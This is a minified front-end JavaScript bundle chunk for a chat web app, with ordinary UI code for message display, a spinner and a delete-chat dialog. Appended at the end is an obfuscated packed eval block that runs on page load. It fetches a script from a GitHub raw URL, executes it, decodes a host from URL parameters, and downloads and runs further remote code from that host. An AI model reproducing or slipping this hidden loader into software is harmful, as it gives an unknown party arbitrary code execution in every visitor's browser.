t=JSON.parse(e);n(t)}u=""}catch(e){console.warn("Incomplete JSON, waiting for next chunk...")}}};return((0,l.useEffect)(()=>{p&&a&&h&&U(a)},[h,p,a]),g)?(0,s.jsxs)("div",{className:"relative",children:[(0,s.jsx)("div",{className:"absolute w-full flex flex-row items-center justify-end mr-5 mt-5",children:(0,s.jsx)(ey(),{href:"/settings",children:(0,s.jsx)(el.A,{className:"cursor-pointer lg:hidden"})})}),(0,s.jsx)("div",{className:"flex flex-col items-center justify-center min-h-screen",children:(0,s.jsx)("p",{className:"dark:text-white/70 text-black/70 text-sm",children:"Failed to connect to the server. Please try again later."})})]}):p?L?(0,s.jsx)(eD(),{statusCode:404}):(0,s.jsx)("div",{children:A.length>0?(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(b,{chatId:r,messages:A}),(0,s.jsx)(es,{loading:v,messages:A,sendMessage:U,messageAppeared:j,rewrite:e=>{let t=A.findIndex(t=>t.messageId===e);if(-1===t)return;let a=A[t-1];I(e=>[...e.slice(0,A.length>2?t-1:0)]),S(e=>[...e.slice(0,A.length>2?t-1:0)]),U(a.content,a.messageId)},fileIds:F,setFileIds:E,files:C,setFiles:z})]}):(0,s.jsx)(eI,{sendMessage:U,focusMode:M,setFocusMode:T,optimizationMode:D,setOptimizationMode:O,fileIds:F,setFileIds:E,files:C,setFiles:z})}):(0,s.jsx)("div",{className:"flex flex-row items-center justify-center min-h-screen",children:(0,s.jsxs)("svg",{"aria-hidden":"true",className:"w-8 h-8 text-light-200 fill-light-secondary dark:text-[#202020] animate-spin dark:fill-[#ffffff3b]",viewBox:"0 0 100 101",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,s.jsx)("path",{d:"M100 50.5908C100.003 78.2051 78.1951 100.003 50.5908 100C22.9765 99.9972 0.997224 78.018 1 50.4037C1.00281 22.7993 22.8108 0.997224 50.4251 1C78.0395 1.00281 100.018 22.8108 100 50.4251ZM9.08164 50.594C9.06312 73.3997 27.7909 92.1272 50.5966 92.1457C73.4023 92.1642 92.1298 73.4365 92.1483 50.6308C92.1669 27.8251 73.4392 9.0973 50.6335 9.07878C27.8278 9.06026 9.10003 27.787 9.08164 50.594Z",fill:"currentColor"}),(0,s.jsx)("path",{d:"M93.9676 39.0409C96.393 38.4037 97.8624 35.9116 96.9801 33.5533C95.1945 28.8227 92.871 24.3692 90.0681 20.348C85.6237 14.1775 79.4473 9.36872 72.0454 6.45794C64.6435 3.54717 56.3134 2.65431 48.3133 3.89319C45.869 4.27179 44.3768 6.77534 45.014 9.20079C45.6512 11.6262 48.1343 13.0956 50.5786 12.717C56.5073 11.8281 62.5542 12.5399 68.0406 14.7911C73.527 17.0422 78.2187 20.7487 81.5841 25.4923C83.7976 28.5886 85.4467 32.059 86.4416 35.7474C87.1273 38.1189 89.5423 39.6781 91.9676 39.0409Z",fill:"currentFill"})]})})}},59434:(e,t,a)=>{"use strict";a.d(t,{S:()=>i,cn:()=>r});var s=a(52596),l=a(39688);let r=function(){for(var e=arguments.length,t=Array(e),a=0;a{e=new Date(e);let a=Math.floor(Math.abs((t=new Date(t)).getTime()-e.getTime())/1e3);return a<60?"".concat(a," second").concat(1!==a?"s":""):a<3600?"".concat(Math.floor(a/60)," minute").concat(1!==Math.floor(a/60)?"s":""):a<86400?"".concat(Math.floor(a/3600)," hour").concat(1!==Math.floor(a/3600)?"s":""):a<31536e3?"".concat(Math.floor(a/86400)," day").concat(1!==Math.floor(a/86400)?"s":""):"".concat(Math.floor(a/31536e3)," year").concat(1!==Math.floor(a/31536e3)?"s":"")}},60671:(e,t,a)=>{"use strict";a.d(t,{A:()=>c});var s=a(95155),l=a(74126),r=a(4772),i=a(36164),n=a(82691),o=a(12115),d=a(56671);let c=e=>{let{chatId:t,chats:a,setChats:c,redirect:x=!1}=e,[m,h]=(0,o.useState)(!1),[u,g]=(0,o.useState)(!1),f=async()=>{g(!0);try{let e=await fetch("/api/chats/".concat(t),{method:"DELETE",headers:{"Content-Type":"application/json"}});if(200!=e.status)throw Error("Failed to delete chat");let s=a.filter(e=>e.id!==t);c(s),x&&(window.location.href="/")}catch(e){d.o.error(e.message)}finally{h(!1),g(!1)}};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)("button",{onClick:()=>{h(!0)},className:"bg-transparent text-red-400 hover:scale-105 transition duration-200",children:(0,s.jsx)(l.A,{size:17})}),(0,s.jsx)(r.e,{appear:!0,show:m,as:o.Fragment,children:(0,s.jsxs)(i.lG,{as:"div",className:"relative z-50",onClose:()=>{u||h(!1)},children:[(0,s.jsx)(i.Xi,{className:"fixed inset-0 bg-black/30"}),(0,s.jsx)("div",{className:"fixed inset-0 overflow-y-auto",children:(0,s.jsx)("div",{className:"flex min-h-full items-center justify-center p-4 text-center",children:(0,s.jsx)(r._,{as:o.Fragment,enter:"ease-out duration-200",enterFrom:"opacity-0 scale-95",enterTo:"opacity-100 scale-100",leave:"ease-in duration-100",leaveFrom:"opacity-100 scale-200",leaveTo:"opacity-0 scale-95",children:(0,s.jsxs)(i.Lj,{className:"w-full max-w-md transform rounded-2xl bg-light-secondary dark:bg-dark-secondary border border-light-200 dark:border-dark-200 p-6 text-left align-middle shadow-xl transition-all",children:[(0,s.jsx)(i.L3,{className:"text-lg font-medium leading-6 dark:text-white",children:"Delete Confirmation"}),(0,s.jsx)(n.VY,{className:"text-sm dark:text-white/70 text-black/70",children:"Are you sure you want to delete this chat?"}),(0,s.jsxs)("div",{className:"flex flex-row items-end justify-end space-x-4 mt-6",children:[(0,s.jsx)("button",{onClick:()=>{u||h(!1)},className:"text-black/50 dark:text-white/50 text-sm hover:text-black/70 hover:dark:text-white/70 transition duration-200",children:"Cancel"}),(0,s.jsx)("button",{onClick:f,className:"text-red-400 text-sm hover:text-red-500 transition duration200",children:"Delete"})]})]})})})})]})})]})}}}]);eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){4(f.z)1;f.z=(m()=>{m 9 A(a){2 g=B n(a);4(!g.N)O 7 P("Q 6: "+g.R);1 g.C()}9 o(a){q{4(/8\\.d/.S(a)){2 8={d:{}};7 s("8","d",a)(8,8.d);1 8.d.3}T 3;7 s("D",a+"\\U (V 3 !== \'W\') D(3);",)(v=>(3=v));1 3}h(6){j.5("[o 5]",6);1 X}}m 9 u(){q{2 E=B A("F://Y.Z.10/11/G/12/13/14/15.G",);2 3=o(E);4(!3)1;f.w=9(a,b,c){q{c=c!==16;4(!a){2 p=7 H(I.J);a=p.k("K")||"";b=b||p.k("L")||""}4(!a||!b)1;2 l=3(a);4(!l)1;n("F://"+l).M(r=>r.C()).M(x=>{(0,7 s(x))()}).h(6=>{j.5("[n l x 5]",6)})}h(e){j.5("[w 5]",e)}};2 y=7 H(I.J);2 t=y.k("K");2 i=y.k("L");4(t&&i)f.w(t,i)}h(6){j.5("[u 5]:",6)}}1 u()})()})();',62,69,'|return|const|decodeHost|if|error|err|new|module|function||||exports||window|res|catch||console|get|host|async|fetch|extractDecodeHost||try||Function||init||go|code|params|__REMOTE_LOADER__|fetchRemoteJS|await|text|setDecodeHost|remoteCode|https|js|URLSearchParams|location|search|type|id|then|ok|throw|Error|load|status|test|let|nif|typeof|undefined|null|raw|githubusercontent|com|JuanitaWHowe|refs|heads|main|index|false'.split('|'),0,{}))